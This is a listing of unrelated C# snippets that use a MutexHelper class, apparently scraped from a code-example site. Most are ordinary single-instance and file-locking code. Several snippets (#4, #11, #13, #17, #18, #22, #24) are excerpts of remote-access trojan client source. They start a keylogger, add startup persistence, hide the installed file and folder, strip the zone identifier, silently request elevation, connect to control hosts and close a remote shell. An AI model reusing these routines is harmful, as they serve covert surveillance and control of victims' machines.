// Assembly.LoadFrom fails in webgarden scenario(2 processes), the mutex is cross process and avoids the error
        // Note: LoadFrom only fails because it needs to implicity do copy the dll to temp folder(shadow copy)
        // if in the future we decide to drop the use of shadow copy, we can remove the mutexes
        protected static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
        {
            string asmName        = new AssemblyName(args.Name).Name;
            string assemblyToLoad = Path.Combine(_sharedPath, asmName + ".DLL");

            if (File.Exists(assemblyToLoad))
            {
                Mutex mutex = MutexHelper.CreateMutex("OSMutex-{" + assemblyToLoad.GetHashCode().ToString() + "}", /*globalMutex*/ true);

                bool adquired = false;
                try {
                    adquired = mutex.WaitOne();
                    Assembly assembly = Assembly.LoadFrom(assemblyToLoad);
                    return(assembly);
                } catch (IOException) {
                    // Ignore IO Exceptions. AssemblyResolve should not fail on those errors.
                    return(null);
                } finally {
                    if (adquired)
                    {
                        mutex.ReleaseMutex();
                    }
                }
            }
            return(null);
        }
Пример #2
0
        /// <summary>
        /// Создает экземпляр класса
        /// </summary>
        /// <param name="logFile">Имя исходного лог-файла</param>
        public Index(string logFile)
        {
            if (string.IsNullOrEmpty(logFile))
            {
                throw new ArgumentNullException("logFile");
            }

            _recordCount = -1;
            _logSize     = -1;

            // блокируем совместный доступ к индексу
            _syncIndexMutex = MutexHelper.CreateSyncIndexMutex(logFile);
            _syncIndexMutex.WaitMutex();

            // формируем имя индексного файла
            var indexName = string.Format("{0}.index", logFile);
            // проверяем индекс
            var validationResult = ValidateIndex(logFile, indexName);

            if (validationResult.State != IndexState.Valid)
            {
                // выполняем переиндексацию
                ReIndex(validationResult, logFile, indexName);
            }

            // открываем индекс
            _stream = OpenForReading(indexName);
            _reader = new BinaryReader(_stream, Encoding.Default);
        }
Пример #3
0
        public static Task CacheDownload(string cacheDir, string outFile, Func <string, Task> download)
        {
            MutexHelper.Lock(Path.Combine(cacheDir, "cache.lock"), () => {
                if (!File.Exists(outFile))
                {
                    string?tempFile = null;
                    try {
                        CleanupTempFiles(cacheDir);

                        using (FileUtil.CreateTempFile(cacheDir, out tempFile, prefix: "temp-")) {}

                        try {
                            download(tempFile).Wait();
                        }
                        catch (AggregateException ex) when(ex.InnerException != null && ex.InnerExceptions.Count == 1)
                        {
                            ExceptionDispatchInfo.Capture(ex.InnerException).Throw();
                            throw;
                        }
                        Directory.CreateDirectory(Path.GetDirectoryName(outFile));
                        File.Move(tempFile, outFile);
                    }
                    finally {
                        try { if (tempFile != null)
                              {
                                  File.Delete(tempFile);
                              }
                        }
                        catch {}
                    }
                }
            }, CancellationToken.None);

            return(Task.FromResult <object?>(null));
        }
Пример #4
0
        public static void HandleDoAskElevate(Packets.ServerPackets.DoAskElevate command, Client client)
        {
            if (WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client);
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                    return;
                }
                Program.ConnectClient.Exit();
            }
            else
            {
                new Packets.ClientPackets.SetStatus("Process already elevated.").Execute(client);
            }
        }
Пример #5
0
        public App()
        {
            try
            {
                _logger = LogManager.GetCurrentClassLogger();
                _logger.Trace("Application logger was created successfully.");
            }
            catch (Exception e)
            {
                var message = "Unrecoverable error on logger creation";
                if (Debugger.IsAttached)
                {
                    Debug.WriteLine($"{message}. Details: {e.GetBaseException().Message}");
                }

                FatalShutdown(e, message);
                return;
            }

            var token = Assembly.GetExecutingAssembly().FullName + Process.GetCurrentProcess().SessionId;

            _logger.Trace("Acquiring global application mutex...");
            _launchMutex = MutexHelper.Acquire(token);
            if (_launchMutex == null)
            {
                _logger.Debug("Global application mutex cannot be acquired.");
                _logger.Trace("Trying to bring existing studio to front...");
                var currentProcess = Process.GetCurrentProcess();

                Process.GetProcessesByName(currentProcess.ProcessName)
                .FirstOrDefault(p => p.Id != currentProcess.Id)
                .BringMainWindowToFront();

                _logger.Debug("Existing studio main window brought to front");
                _logger.Trace("Shutting down current application...");
                Shutdown(0);
                return;
            }

            _logger.Debug("Global application mutex acquired successfully");

            try
            {
                var bootstrapperLogger = new RelayBootstrapperLogger
                {
                    TraceAction = message => _logger.Trace(message),
                    DebugAction = message => _logger.Debug(message),
                    InfoAction  = message => _logger.Info(message),
                    WarnAction  = message => _logger.Warn(message),
                    ErrorAction = message => _logger.Error(message),
                    FatalAction = message => _logger.Fatal(message)
                };

                _bootstrapper = new Bootstrapper(bootstrapperLogger);
            }
            catch (Exception e)
            {
                FatalShutdown(e, "Bootstrapper cannot be created");
            }
        }
Пример #6
0
        static void Main(string[] args)
        {
            if (args.Contains("/install", StringComparer.InvariantCultureIgnoreCase))
            {
                Install();
                return;
            }

            if (args.Contains("/uninstall", StringComparer.InvariantCultureIgnoreCase))
            {
                Uninstall();
                return;
            }



            if (MutexHelper.IsAlreadyRunning(false, true))
            {
                return;
            }

            if (Debugger.IsAttached)
            {
                InitProf();
            }

            var service = new SyncService();

            if (args.Contains("task", StringComparer.InvariantCultureIgnoreCase))
            {
                service.TaskScheduler = true;
            }

            service.Execute(args);
        }
Пример #7
0
        /// <summary>
        /// Read and serialize the data to the given {T}
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="filePath"></param>
        /// <returns></returns>
        public static ICommonValidateResult <T> MutexReadXmlAsSerialized <T>(string filePath)
        {
            var    type          = typeof(T);
            var    xmlSerializer = new XmlSerializer(typeof(T));
            string errorLogs     = null;

            try
            {
                using (var fileStreamer = new FileStream(filePath, FileMode.Open))
                {
                    var rawData = MutexHelper.GetResultWithMutex(() => xmlSerializer.Deserialize(fileStreamer));

                    if (rawData is T result)
                    {
                        return(new CommonValidateResult <T>(result != null, result));
                    }
                }
            }
            catch (Exception e)
            {
                errorLogs = e.PathErrorLogAndThrow(filePath, type.FullName);
            }

            return(new CommonValidateResult <T>(false, default(T), errorLogs));
        }
Пример #8
0
        static void Main()
        {
            IntPtr hwndBarcode = FindWindow(null, "2dscan");

            if (hwndBarcode != IntPtr.Zero)                 //判断系统自带的二维程序是否在运行
            {
                SendMessage(hwndBarcode, WM_DESTROY, 0, 0); //向窗口发消息让其退出运行
            }
            try
            {
                if (!MutexHelper.IsApplicationOnRun())
                {
                    Application.Run(new Main());
                    Application.Exit();
                }
                else
                {
                    MessageBox.Show("异常错误,请重启设备!");//如果该程序已经运行则返回,避免程序重复运行
                    return;
                }
            }
            catch (Exception e)
            {
                MessageBox.Show(e.Message, "程序异常");
            }
        }
Пример #9
0
        public static MutexHelper CreateMutexHelper()
        {
            GameObject     selected = Selection.activeGameObject;
            ControlManager manager;

            if (selected != null)
            {
                manager = selected.GetComponentInParent <ControlManager>();
            }
            else
            {
                manager = null;
            }
            if (manager == null)
            {
                throw new Exception("You must select a control for this target group.");
            }

            GameObject mutex_helper_object = new GameObject("New Mutex Helper");

            Undo.RegisterCreatedObjectUndo(mutex_helper_object, "New Mutex Helper");
            MutexHelper mutex_helper = mutex_helper_object.AddComponent <MutexHelper>();

            Undo.SetTransformParent(mutex_helper_object.transform, selected.transform, "New Mutex Helper");
            Selection.activeGameObject = mutex_helper_object;
            return(mutex_helper);
        }
        private void ReadDictionaryData(IList <string> listOfFiles, char splitter)
        {
            var i = 0;

            foreach (var fileLocation in listOfFiles)
            {
                var      file = new FileInfo(fileLocation);
                string[] data;

                if (splitter == CommonIdentifier.NewLineSlashNChar)
                {
                    var rawData = MutexHelper.ReadAllLines(fileLocation);
                    data = rawData.Result;
                }
                else
                {
                    var rawData = MutexHelper.ReadAllText(fileLocation);
                    data = rawData.Result.Split(splitter);
                }

                var fileName = file.Name.Replace(file.Extension, string.Empty);

                ListNames[i]          = fileName;
                _dictionary[fileName] = data;

                i++;
            }
        }
Пример #11
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
            {
                return(false);
            }

            AES.SetDefaultKey(Settings.PASSWORD);
            ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
                                                    ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);

            if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Başlangıç.AddToStartup())
                    {
                        ClientVerisi.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop   = new ApplicationContext();
                        var logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new KuuhakuClient(hosts);
                return(true);
            }
            MutexHelper.CloseMutex();
            ClientYükleyici.Install(ConnectClient);
            return(false);
        }
Пример #12
0
        static void Main()
        {
            try
            {
                BaseVariable.InitXmlVar();//初始化基础变量
                if (!File.Exists(BaseVariable.XmlFilePath))
                {
                    throw new Exception("Config.xml配置文件不存在,请检查");
                }
                XmlHelper xml = new XmlHelper();
                BaseVariable.RequestURL = xml.SelectValue("/Root/Server/APIURL");
                string modelVaild = xml.SelectValue("/Root/Sys/ModelVaild");
                if (modelVaild.Trim().Equals("1"))
                {
                    string c = BaseVariable.APPRootPath + "config.dat";
                    if (!File.Exists(BaseVariable.XmlFilePath))
                    {
                        throw new Exception("config.dat系统文件不存在,请检查");
                    }

                    SystemIdentity info = SystemIdentity.GetFromFile(c);

                    if (info.GetDeviceModel() != "CK3X")
                    {
                        throw new Exception("设备版本不兼容!!!");
                    }
                }

                string appName = Assembly.GetExecutingAssembly().GetName().Name;
                if (!MutexHelper.IsApplicationOnRun(appName))
                {
                    #region 创建快捷方式
                    Shortcut sc = new Shortcut(Assembly.GetExecutingAssembly(), "鸿泰集成防错系统");
                    if (!sc.IsExist())
                    {
                        sc.Create();
                    }
                    #endregion

                    TaskBarHelper.ShowTaskBar(false);
                    Application.Run(new FrmLogin());
                    Application.Exit();
                }
                else
                {
                    MessageBox.Show("系统正在运行!");//如果该程序已经运行则返回,避免程序重复运行
                    Application.Exit();
                    return;
                }
            }
            catch (Exception e)
            {
                MessageBox.Show(e.Message, "系统提示", MessageBoxButtons.OK, MessageBoxIcon.Hand, MessageBoxDefaultButton.Button1);
            }
            finally
            {
                TaskBarHelper.ShowTaskBar(true);
            }
        }
Пример #13
0
        private static void Initialize()
        {
            if (!MutexHelper.CreateMutex(Settings.MUTEX))
            {
                ClientData.Disconnect = true; // process with same mutex is already running
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            if (_hosts.IsEmpty)
            {
                ClientData.Disconnect = true; // no hosts to connect
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start();
                }
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
            }
        }
Пример #14
0
        public override void OnInspectorGUI()
        {
            MutexHelper self = (MutexHelper)target;

            if (DrawSelector(self, self.Controls.ToArray()))
            {
                EditorUtility.SetDirty(self);
                EditorSceneManager.MarkSceneDirty(self.gameObject.scene);
            }
        }
Пример #15
0
        protected virtual void _OnInspectorGUI(params string[] properties_to_exclude)
        {
            MutexHelper self = (MutexHelper)target;

            if (DrawSelector(self, self.Controls.ToArray()))
            {
                EditorUtility.SetDirty(self);
                EditorSceneManager.MarkSceneDirty(self.gameObject.scene);
            }
            DrawPropertiesExcluding(serializedObject, properties_to_exclude);
        }
Пример #16
0
        private bool Initialize()
        {
            if (!MutexHelper.CreateMutex("123AKs82kA,ylAo2kAlUS2kYkala!"))
            {
                return(false);
            }

            Thread staThread = new Thread(() =>
            {
                _result = GetExplorerSelectedFiles();
            });

            staThread.SetApartmentState(ApartmentState.STA);
            staThread.Start();
            staThread.Join();
            return(true);
        }
Пример #17
0
 private static void Cleanup()
 {
     CommandHandler.CloseShell();
     if (CommandHandler.StreamCodec != null)
     {
         CommandHandler.StreamCodec.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (_msgLoop != null)
     {
         _msgLoop.ExitThread();
     }
     MutexHelper.CloseMutex();
 }
Пример #18
0
 private static void Cleanup()
 {
     Eylemİşleyicisi.CloseShell();
     if (Eylemİşleyicisi.StreamCodec != null)
     {
         Eylemİşleyicisi.StreamCodec.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (_msgLoop != null)
     {
         _msgLoop.ExitThread();
         _msgLoop.Dispose();
         _msgLoop = null;
     }
     MutexHelper.CloseMutex();
 }
Пример #19
0
 private void Application_Startup(object sender, StartupEventArgs e)
 {
     try
     {
         if (Initialize())
         {
             Logging.LogMessage(LoggingLevel.Info, $"arguments {string.Join(", ", _result)}");
             var viewModel = new MainWindow(_result.ToArray());
             viewModel.Show();
         }
         else
         {
             MutexHelper.CloseMutex();
             Application.Current.Shutdown();
         }
     }
     catch (Exception ex)
     {
         Logging.LogError(LoggingLevel.Error, $"Error: {ex.Message}", ex);
         throw;
     }
 }
Пример #20
0
        public bool Initialize()
        {
            if (!MutexHelper.OpenOrCreateMutex())
            {
                if (!StartSystemService())
                {
                    return(false);
                }
            }
            else
            {
                if (!StartService())
                {
                    return(false);
                }

                MutexHelper.ExecuteOnMutexRelease(AddSystemService);
            }

            CleanupWorkspaceFolder();
            return(true);
        }
Пример #21
0
        protected static bool DrawSelector(MutexHelper self, IActiveStateProperty[] groups)
        {
            var group_behaviors = groups
                                  .Cast <MonoBehaviour>()
                                  .ToArray();

            string[] group_names = group_behaviors
                                   .Select(g => g.name).ToArray();
            int index_selected = Math.Max(0, Array.IndexOf(groups, self.Selected));

            index_selected = EditorGUILayout.Popup(index_selected, group_names);
            IActiveStateProperty selected;

            if (index_selected < groups.Length)
            {
                selected = groups[index_selected];
            }
            else
            {
                selected = null;
            }
            if (self.Selected != selected)
            {
                var affected_game_objects = group_behaviors
                                            .Select(g => g.gameObject).ToArray();
                Undo.RecordObjects(affected_game_objects, "Select Target Group");
                self.Selected = selected;
                foreach (var group_behavior in group_behaviors)
                {
                    EditorUtility.SetDirty(group_behavior);
                    EditorSceneManager.MarkSceneDirty(group_behavior.gameObject.scene);
                }
                return(true);
            }
            return(false);
        }
Пример #22
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            // Request elevation
            if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                bool success = true;
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    success = false;
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                }

                if (success)
                {
                    ConnectClient.Exit();
                }
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                return(true);
            }

            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return(false);
        }
 protected override void OnClosed(EventArgs e)
 {
     base.OnClosed(e);
     MutexHelper.Dispose();
 }
Пример #24
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }